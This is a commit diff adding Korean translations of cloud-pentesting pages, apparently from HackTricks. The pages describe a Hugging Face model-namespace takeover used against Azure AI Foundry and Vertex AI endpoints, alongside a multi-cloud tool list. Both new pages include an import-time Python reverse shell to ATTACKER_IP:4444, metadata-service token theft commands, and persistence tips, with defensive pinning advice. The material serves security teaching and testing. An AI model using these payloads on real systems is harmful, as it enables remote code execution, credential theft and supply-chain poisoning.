Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/REA

This commit is contained in:
Translator
2025-09-29 21:18:38 +00:00
parent f007fd0166
commit c0503c6fec
5 changed files with 265 additions and 46 deletions
@@ -1,3 +1,9 @@
# Az - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,94 @@
# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## 시나리오
- Azure AI Foundry Model Catalog에는 원클릭 배포를 위한 많은 Hugging Face (HF) 모델이 포함되어 있습니다.
- HF 모델 식별자는 Author/ModelName입니다. HF author/org가 삭제되면 누구든지 해당 author를 재등록하고 같은 ModelName으로 레거시 경로에 모델을 게시할 수 있습니다.
- 이름만으로 가져오는 pipelines 및 catalogs(커밋 핀ning/무결성 검증 없음)는 공격자 제어 저장소로 해석될 수 있습니다. Azure가 모델을 배포하면 loader code가 endpoint 환경에서 실행되어 해당 endpoint의 권한으로 RCE를 획득할 수 있습니다.
일반적인 HF takeover 사례:
- Ownership deletion: 이전 경로가 takeover 전까지 404가 됩니다.
- Ownership transfer: 기존 author가 존재하는 동안 이전 경로가 새 author로 307 리다이렉트됩니다. 이후 기존 author가 삭제되고 재등록되면 리다이렉트가 깨지고 공격자의 repo가 레거시 경로에서 제공됩니다.
## 재사용 가능한 네임스페이스(HF) 식별
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author> # 200 exists, 404 deleted/available
# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover
```
## Azure AI Foundry에 대한 엔드투엔드 공격 흐름
1) Model Catalog에서 HF에서 원저자가 삭제되었거나 이전되어(기존 작성자 제거) 방치된 HF 모델을 찾습니다.
2) HF에서 방치된 작성자를 재등록하고 ModelName을 재생성합니다.
3) import 시 실행되거나 trust_remote_code=True가 필요한 로더 코드를 포함한 악성 repo를 게시합니다.
4) Azure AI Foundry에서 레거시 Author/ModelName을 배포합니다. 플랫폼이 공격자 repo를 가져오면 로더가 Azure endpoint의 container/VM 내부에서 실행되어 endpoint 권한으로 RCE를 획득합니다.
예시 페이로드 조각 (import 시 실행됨, 시연용):
```python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # or powershell on Windows images
if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
참고
- AI Foundry가 HF와 통합된 deployments는 일반적으로 모델의 config에서 참조되는 repo 모듈을 clone하고 import하며(예: auto_map), 이는 코드 실행을 유발할 수 있습니다. 일부 경로는 trust_remote_code=True가 필요합니다.
- 접근 권한은 보통 endpoint의 managed identity/service principal 권한과 일치합니다. 이를 Azure 내 데이터 접근 및 lateral movement를 위한 초기 foothold로 간주하세요.
## Post-Exploitation Tips (Azure Endpoint)
- 환경 변수와 MSI endpoints에서 토큰을 열거하세요:
```bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
- 획득한 token으로 마운트된 스토리지, 모델 아티팩트 및 접근 가능한 Azure 서비스를 확인하세요.
- 플랫폼이 HF에서 다시 pull할 경우를 대비해 persistence를 위해 오염된 모델 아티팩트를 남기는 것을 고려하세요.
## Azure AI Foundry 사용자용 방어 지침
- HF에서 로드할 때 commit으로 모델을 Pin하세요:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- 검증된 HF 모델을 신뢰되는 내부 레지스트리에 미러링한 후 거기서 배포합니다.
- codebases와 defaults/docstrings/notebooks를 지속적으로 스캔하여 삭제되거나 이전된 하드코딩된 Author/ModelName을 찾아 업데이트하거나 고정(pin)합니다.
- 배포 전에 author 존재 여부와 모델 출처(provenance)를 검증합니다.
## 인식 휴리스틱 (HTTP)
- Deleted author: author 페이지 404; 레거시 모델 경로는 인수 전까지 404.
- Transferred model: 레거시 경로가 기존 author가 존재하는 동안 새로운 author로 307 리다이렉트됨; 이후 기존 author가 삭제되고 재등록되면 레거시 경로가 공격자 콘텐츠를 제공함.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## 교차 참조
- 더 광범위한 방법론 및 공급망 관련 노트를 확인하세요:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## 참고 자료
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,3 +1,9 @@
# GCP - 포스트 익스플로
# GCP - 포스트 익스플로이테이션
{{#include ../../../banners/hacktricks-training.md}}
{{#ref}}
gcp-vertex-ai-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,113 @@
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
{{#include ../../../banners/hacktricks-training.md}}
## 시나리오
- Vertex AI Model Garden은 많은 Hugging Face (HF) 모델을 직접 배포할 수 있습니다.
- HF 모델 식별자는 Author/ModelName입니다. HF의 author/org가 삭제되면 동일한 author 이름을 누구나 재등록할 수 있습니다. 공격자는 그런 다음 legacy path에 동일한 ModelName으로 repo를 생성할 수 있습니다.
- 이름만으로(pinning이나 무결성 검증 없이) 가져오는 Pipelines, SDKs, 또는 cloud catalogs는 공격자 제어의 repo를 가져옵니다. 모델이 배포되면 해당 repo의 loader code가 Vertex AI endpoint 컨테이너 내부에서 실행되어 endpoint의 권한으로 RCE를 발생시킬 수 있습니다.
HF에서 흔한 두 가지 takeover 사례:
- 소유권 삭제(Ownership deletion): 이전 경로가 404를 반환하며 누군가 author를 재등록하고 동일한 ModelName을 게시할 때까지 404 상태입니다.
- 소유권 이전(Ownership transfer): HF는 이전 Author/ModelName에서 새 소유자에게 307 리다이렉트를 발행합니다. 이후 이전 author가 삭제되고 공격자가 재등록하면 리다이렉트 체인이 깨지며 공격자의 repo가 legacy path에서 제공됩니다.
## 재사용 가능한 네임스페이스 파악 (HF)
- 이전 author가 삭제된 경우: author 페이지가 404를 반환합니다; 모델 경로는 takeover가 발생할 때까지 404를 반환할 수 있습니다.
- 이전에 이전된 모델(Transferred models): 이전 모델 경로는 이전 author가 존재하는 동안 새 소유자에게 307을 발행합니다. 이후 이전 author가 삭제되고 재등록되면 legacy path가 공격자의 repo로 해석됩니다.
curl로 빠르게 확인:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
# 200 = exists, 404 = deleted/available
# Check old model path behavior
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## Vertex AI에 대한 엔드 투 엔드 공격 흐름
1) Model Garden에서 'deployable'로 표시된 재사용 가능한 모델 네임스페이스를 찾는다:
- Vertex AI Model Garden에서 여전히 “verified deployable”로 표시되는 HF 모델을 찾는다.
- HF에서 원래 작성자가 삭제되었는지, 또는 모델이 transferred되어 이전 작성자가 이후에 제거되었는지 확인한다.
2) 삭제된 작성자를 HF에 다시 등록하고 동일한 ModelName을 재생성한다.
3) 악성 repo를 게시한다. 모델 로드 시 실행되는 코드를 포함시킨다. HF 모델 로드 중 흔히 실행되는 예:
- repo의 __init__.py에 있는 부작용
- config/auto_map에서 참조되는 custom modeling_*.py 또는 처리 코드
- Transformers 파이프라인에서 trust_remote_code=True를 필요로 하는 코드 경로
4) 레거시 Author/ModelName의 Vertex AI 배포가 이제 공격자 repo를 가져온다. 로더는 Vertex AI endpoint 컨테이너 내부에서 실행된다.
5) 페이로드는 endpoint 환경에서(RCE) endpoint의 권한으로 접근을 확보한다.
Example payload fragment executed on import (for demonstration only):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
참고
- 실제 로더는 다양합니다. 많은 Vertex AI HF 통합은 모델의 config에 참조된 repo 모듈(예: auto_map)을 clone 및 import하며, 이는 code execution을 유발할 수 있습니다. 일부 사용 사례에서는 trust_remote_code=True가 필요합니다.
- endpoint는 일반적으로 제한된 범위의 전용 컨테이너에서 실행되지만, 데이터 접근 및 GCP 내 횡적 이동을 위한 유효한 초기 발판이 될 수 있습니다.
## Post-Exploitation Tips (Vertex AI Endpoint)
Once code is running inside the endpoint container, consider:
- 자격증명/토큰을 위해 환경 변수와 메타데이터 열거
- 연결된 스토리지 또는 마운트된 모델 아티팩트에 접근
- 서비스 계정 신원으로 Google APIs와 상호작용 (Document AI, Storage, Pub/Sub 등)
- 플랫폼이 repo를 다시 pull하면 모델 아티팩트에 지속성 확보
접근 가능하면 인스턴스 메타데이터를 열거하세요 (컨테이너에 따라 다름):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Vertex AI 사용자를 위한 방어 지침
- HF loaders에서 commit 단위로 모델을 Pin하여 알림 없이 교체되는 것을 방지하세요:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- 검증된 HF 모델을 신뢰할 수 있는 내부 아티팩트 스토어/레지스트리에 미러링하고 그곳에서 배포하세요.
- 코드베이스와 configs를 지속적으로 스캔하여 삭제되었거나 이전된 하드코딩된 Author/ModelName을 찾아 새 네임스페이스로 업데이트하거나 커밋으로 고정하세요.
- Model Garden에서 배포 전에 모델 출처와 작성자 존재 여부를 확인하세요.
## 인식 휴리스틱 (HTTP)
- 삭제된 작성자: 작성자 페이지 404; 인수(takeover) 전까지 이전(legacy) 모델 경로가 404를 반환합니다.
- 이전된 모델: 이전(legacy) 경로가 기존 작성자가 존재하는 동안 새 작성자로 307(리다이렉트)됨; 만약 기존 작성자가 이후 삭제되고 재등록되면 이전 경로가 공격자 콘텐츠를 제공할 수 있습니다.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## 교차 참조
- 더 광범위한 방법론 및 공급망 관련 메모를 참조하세요:
{{#ref}}
../../pentesting-cloud-methodology.md
{{#endref}}
## 참고자료
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,44 +1,44 @@
# Pentesting Cloud Methodology
# Pentesting 클라우드 방법론
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
## Basic Methodology
## 기본 방법론
각 클라우드는 고유한 특성을 가지고 있지만, 일반적으로 클라우드 환경을 테스트할 때 **펜테스터가 확인해야 할 몇 가지 공통 항**이 있습니다:
각 클라우드마다 특성이 다르지만 일반적으로 클라우드 환경을 테스트할 때 **pentester가 점검해야 할 몇 가지 공통 항**이 있습니다:
- **벤치마크 체크**
- 이는 **환경의 크기**와 **사용되는 서비스**를 이해하는 데 도움이 됩니다.
- 또한 **자동화 도구**를 사용하여 대부분의 테스트를 수행할 수 있으므로 일부 **빠른 잘못된 구성**을 수 있습니다.
- **벤치마크 점검**
- 이는 환경의 **규모**와 **사용 중인 서비스**를 파악하는 데 도움이 됩니다
- 대부분의 테스트를 **자동화 도구** 수행할 수 있으므로 일부 **빠른 구성 오류**는 데에도 도움이 됩니다
- **서비스 열거**
- 벤치마크 테스트를 올바르게 수행했다면 여기서 더 이상 잘못된 구성을 찾지 못할 가능성이 높지만, 벤치마크 테스트에서 찾지 못한 일부를 발견할 수 있습니다.
- 클라우드 환경에서 **정확히 무엇이 사용되고 있는지** 알 수 있게 해줍니다.
- 이는 다음 단계에서 많은 도움이 됩니다.
- 벤치마크 테스트를 제대로 수행했다면 여기서 더 많은 구성 오류를 찾지 못할 가능성이 높지만, 벤치마크에서 확인하지 않았던 일부 오류를 찾을 수 있습니다.
-를 통해 클라우드 환경에서 **정확히 무엇이 사용되고 있는지** 알 수 있니다
- 다음 단계에서 많은 도움이 됩니다
- **노출된 자산 확인**
- 이전 섹션에서 수행할 수 있으며, **인터넷에 잠재적으로 노출 모든 것**과 어떻게 접근 수 있는지를 **찾아야** 합니다.
- 여기서는 **수동으로 노출된 인프라**(웹 페이지가 있는 인스턴스나 다른 포트가 노출된 경우)와 **노출되도록 구성 수 있는 다른 클라우드 관리 서비스**(예: DB 또는 버킷)에 대해 다룹니다.
- 그런 다음 **해당 리소스가 노출될 수 있는지 여부**를 확인해야 합니다(기밀 정보? 취약점? 노출된 서비스의 잘못된 구성?).
- 작업은 이전 섹션에서 수행할 수 있으며, 인터넷에 어떤 식으로든 **잠재적으로 노출될 수 있는 모든 것**과 그것이 어떻게 접근 수 있는지를 찾아야 합니다.
- 여기서는 인스턴스(웹 페이지 또는 다른 포트가 노출된 경우)와 같이 **수동으로 노출된 인프라**와 노출되도록 구성 수 있는 다른 **클라우드 관리 서비스**(예: DBs 또는 buckets)를 다룹니다
- 그런 다음 해당 리소스가 실제로 **노출될 수 있는지 여부**를 확인해야 합니다(민감한 정보인가? 취약점이 있는가? 노출된 서비스의 구성 오류인가?)
- **권한 확인**
- 여기서는 클라우드 내 각 역할/사용자의 **모든 권한을 찾아야** 하며, 그것들이 어떻게 사용되는지를 확인해야 합니다.
- 너무 **많은 고급 권한**(모든 것을 제어하는) 계정이 있습니까? 생성된 키가 사용되지 않습니까?... 이러한 대부분의 체크는 이미 벤치마크 테스트에서 수행되었어야 합니다.
- 클라이언트가 OpenID 또는 SAML 또는 다른 **연합**을 사용하고 있다면, 각 역할이 **어떻게 할당되는지**에 대한 추가 **정보**를 요청해야 할 수 있습니다(관리자 역할이 1명에게 할당되는 것과 100명에게 할당되는 것은 다릅니다).
- **관리자** 권한 "\*:\*"을 가진 사용자를 찾는 것만으로는 **충분하지 않습니다**. 사용되는 서비스에 따라 매우 **민감할 수 있는** **다른 권한**이 많이 있습니다.
- 게다가, 권한을 남용하여 **잠재적인 권한 상승** 방법이 있습니다. 이러한 모든 사항을 고려해야 하며, 가능한 한 많은 권한 상승 경로를 보고야 합니다.
- 여기서는 클라우드 내 각 역할/사용자의 **모든 권한이 무엇인지**와 그것들이 어떻게 사용되는지를 찾아야 합니다
- 너무 **권한이 높은 계정**(모든 것을 제어하는 계정)너무 많은가? 생성된 키가 사용되지 않고 있는가?... 이러한 대부분의 점검은 이미 벤치마크 테스트에서 수행되었어야 합니다
- 클라이언트가 OpenID SAML 또는 다른 **페더레이션**을 사용 중이라면, 각 역할이 **어떻게 할당되는지**에 대한 추가 **정보**를 요청해야 할 수 있습니다(관리자 역할이 1명에게 할당 것과 100명에게 할당 것은 다릅니다)
- 사용자가 "*:\*"와 같은 **admin** 권한을 가지고 있는지를 찾는 것만으로는 충분하지 않습니다. 사용 중인 서비스에 따라 매우 **민감** 많은 **다른 권한**이 존재합니다.
- 또한 권한을 남용하여 진행할 수 있는 **잠재적 privesc** 경로들이 있습니다. 이 모든 을 고려하여 가능한 한 많은 **privesc 경로**가 보고되어야 합니다.
- **통합 확인**
- 클라우드 환경 내에서 **다른 클라우드 또는 SaaS와의 통합**이 사용되고 있을 가능성이 높습니다.
- 감사 중인 클라우드의 **통합**에 대해, **그 통합을 (남용할) 수 있는 접근 권한이 있는 사람**려야 하며, 수행되는 작업이 **얼마나 민감한지** 물어봐야 합니다.\
예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 쓸 수 있는 사람은 누구인지(그 데이터 처리에서 GCP의 작업이 얼마나 민감한지 물어보세요).
- 감사 중인 클라우드 내에서 **외부 플랫폼 통합**에 대해, **그 통합을 (남용할) 수 있는 외부 접근 권한이 있는 사람** 물어보고, 해당 데이터가 어떻게 사용되고 있는지 확인해야 합니다.\
예를 들어, 서비스가 GCR에 호스팅된 Docker 이미지를 사용하는 경우, 이를 수정할 수 있는 사람과 AWS 클라우드 내에서 실행될 때 해당 이미지가 어떤 민감한 정보와 접근 권한을 가지는지 물어봐야 합니다.
- 클라우드 환경 내에서 **다른 클라우드 SaaS와의 통합**이 사용되고 있을 가능성이 높습니다.
- 감사 중인 클라우드가 다른 플랫폼과 통합된 경우, 누가 그 통합을 (남용)할 수 있는**누가 접근 권한을 가지고 있는지**리고, 수행되는 작업이 **얼마나 민감한지** 물어봐야 합니다.\
예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 누가 쓰기 권한이 있는지(해당 데이터를 GCP에서 처리할 때 작업이 얼마나 민감한지 물어보세요).
- 감사 중인 클라우드 내부로 외부 플랫폼에서 통합되어 있는 경우, 그 통합을 외부에서 (남용)할 수 있는 **누가 접근 권한을 가지고 있는지** 물어보고 해당 데이터가 어떻게 사용되는지 확인해야 합니다.\
예를 들어, 어떤 서비스가 GCR에 호스팅된 Docker 이미지를 사용하고 있다면, 누가 그것을 수정할 수 있는지, 그리고 그 이미지가 AWS 클라우드 내에서 실행될 때 어떤 민감한 정보와 접근 권한을 는지 물어봐야 합니다.
## Multi-Cloud tools
## 다중 클라우드 도구
여러 클라우드 환경을 테스트하는 데 사용할 수 있는 여러 도구가 있습니다. 설치 단계와 링크는 이 섹션에서 안내될 것입니다.
여러 클라우드 환경을 테스트하는 데 사용할 수 있는 도구들이 있습니다. 설치 단계와 링크는 이 섹션에 표시됩니다.
### [PurplePanda](https://github.com/carlospolop/purplepanda)
클라우드 및 클라우드/SaaS 간의 **잘못된 구성 및 권한 상승 경로를 식별하는 도구**입니다.
클라우드 및 클라우드/SaaS 간의 잘못된 구성과 privesc 경로를 **식별하는 도구**.
{{#tabs }}
{{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
**AWS, GCP Azure**를 지원합니다. 각 공자를 구성하는 방법은 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)에서 확인하세요.
다음 플랫폼을 지원합니다: **AWS, GCP & Azure**. 각 공자를 구성하는 방법은 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)에서 확인하세요.
```bash
# Install
pip install prowler
@@ -91,7 +91,7 @@ prowler <provider> --list-services
AWS, Azure, Github, Google, Oracle, Alibaba
{{#tabs }}
{{#tab name="설치" }}
{{#tab name="Install" }}
```bash
# Install
git clone https://github.com/aquasecurity/cloudsploit.git
@@ -146,7 +146,7 @@ done
{{#tabs }}
{{#tab name="Install" }}
Steampipe를 다운로드하 설치하세요 ([https://steampipe.io/downloads](https://steampipe.io/downloads)). 또는 Brew를 사용하세요:
Steampipe를 다운로드하 설치하세요 ([https://steampipe.io/downloads](https://steampipe.io/downloads)). 또는 Brew를 사용하세요:
```
brew tap turbot/tap
brew install steampipe
@@ -170,7 +170,7 @@ steampipe check all
<summary>모든 프로젝트 확인</summary>
모든 프로젝트를 확인하려면 테스트할 모든 프로젝트를 나타내`gcp.spc` 파일을 생성해야 합니다. 다음 스크립트의 지침을 따르면 됩니다.
모든 프로젝트를 확인하려면 테스트할 모든 프로젝트를 지정하`gcp.spc` 파일을 생성해야 합니다. 다음 스크립트의 지침을 따르면 됩니다.
```bash
FILEPATH="/tmp/gcp.spc"
rm -rf "$FILEPATH" 2>/dev/null
@@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
른 **GCP 인사이트**를 확인하려면 (서비스 열거에 유용): [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
음을 사용해 **다른 GCP 인사이트** (서비스 열거에 유용)를 확인하세요: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Terraform GCP 코드를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
steampipe dashboard # To see results in browser
steampipe check all --export=/tmp/output4.json
```
Terraform AWS 코드를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Steampipe의 더 많은 AWS 플러그인: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
AWS, GCP, Azure, DigitalOcean.\
python2.7이 필요하며 유지 관리가 되지 않는 것처럼 보입니다.
python2.7이 필요하며 유지보수되지 않는 것으로 보입니다.
### Nessus
Nessus는 AWS, Azure, Office 365, Rackspace, Salesforce를 지원하는 _**클라우드 인프라 감사**_ 스캔을 제공합니다. **Client Id**를 얻기 위해 **Azure**에서 추가 구성이 필요합니다.
Nessus _**Audit Cloud Infrastructure**_ 스캔이 있어 다음을 지원합니다: AWS, Azure, Office 365, Rackspace, Salesforce. **Azure**에서 **Client Id**를 얻으려면 몇 가지 추가 구성이 필요합니다.
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist는 클라우드 제공업체에서 자산(호스트 이름, IP 주소)을 가져오기 위한 **다중 클라우드 도구**입니다.
Cloudlist는 Cloud Providers로부터 (Hostnames, IP Addresses) 같은 Assets를 수집하는 **multi-cloud tool for getting Assets**입니다.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartography는 Neo4j 데이터베이스에 의해 구동되는 직관적인 그래프 뷰에서 인프라 자산과 그들 간의 관계를 통합하는 Python 도구입니다.
Cartography는 Neo4j 데이터베이스 구동되는 직관적인 그래프 뷰에서 인프라 자산과 자산 간의 관계를 통합하는 Python 도구입니다.
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 제어 등 서비스 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스에 기반한 직관적인 그래프 뷰로 제공합니다.
Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 통제 등을 포함한 서비스 시스템에서 자산과 관계를 수집하여 Neo4j 데이터베이스에 의해 지원되는 직관적인 그래프 뷰로 통합합니다.
{{#tabs }}
{{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
스캔된 AWS 또는 Azure 환경에서 가장 특권이 있는 사용자, AWS Shadow Admins를 포함하여 발견합니다. PowerShell을 사용합니다.
스캔된 AWS 또는 Azure 환경에서 AWS Shadow Admins를 포함한 가장 권한이 높은 사용자를 찾아냅니다. powershell을 사용합니다.
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
회사의 (대상) 인프라, 파일 및 앱을 주요 클라우드 제공업체(아마존, 구글, 마이크로소프트, 디지털오션, 알리바바, 벌트르, 리노드)에서 찾기 위한 도구입니다.
회사의(대상) 인프라, 파일 및 앱을 주요 클라우드 제공업체(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode)에서 찾아내는 도구.
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox는 클라우드 인프라에서 악용 가능한 공격 경로를 찾기 위한 도구입니다(현재 AWS Azure만 지원하며 GCP는 곧 지원 예정).
- 수동 펜테스팅을 보완하기 위한 열거 도구입니다.
- 클라우드 환경 내에서 데이터를 생성하거나 수정하지 않습니다.
- CloudFox는 클라우드 인프라에서 악용 가능한 attack paths를 찾는 도구입니다 (현재 AWS & Azure만 지원하며 GCP는 곧 지원 예정).
- 이는 수동 pentesting을 보완하기 위한 enumeration tool입니다.
- 클라우드 환경 내 데이터를 생성하거나 수정하지 않습니다.
### 클라우드 보안 도구 목록 더 보기
### More lists of cloud security tools
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
@@ -412,10 +412,10 @@ azure-security/
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter) Azure 구독의 리소스에 대한 “공격 그래프”를 생성합니다. 이는 레드 팀과 펜테스터가 테넌트 내에서 공격 표면과 피벗 기회를 시각화할 수 있 하며, 방어자가 사건 대응 작업을 신속하게 정렬하고 우선순위를 정할 수 있도록 지원합니다.
[**Stormspotter** ](https://github.com/Azure/Stormspotter) Azure subscription의 리소스에 대한 “attack graph”를 생성합니다. 이는 red teams와 pentesters가 테넌트 내의 attack surface와 pivot 기회를 시각화할 수 있도록 하며, 수비자가 incident response 작업의 우선순위를 빠르게 파악하고 대응 속도를 높이게 합니다.
### Office365
**Global Admin** 또는 최소한 **Global Admin Reader**가 필요합니다(단, Global Admin Reader는 약간 제한적입니다). 그러나 이러한 제한은 일부 PS 모듈에서 나타나며 **웹 애플리케이션을 통해** 기능에 접근하 우회할 수 있습니다.
이 작업을 위해서는 **Global Admin** 권한이 필요하거나 최소한 **Global Admin Reader** 권한이 필요합니다(단, Global Admin Reader는 다소 제한적입니다). 다만 이러한 제한은 일부 PS 모듈에서 발생하며, 기능에 **웹 애플리케이션을 통해** 접근하 우회할 수 있습니다.
{{#include ../banners/hacktricks-training.md}}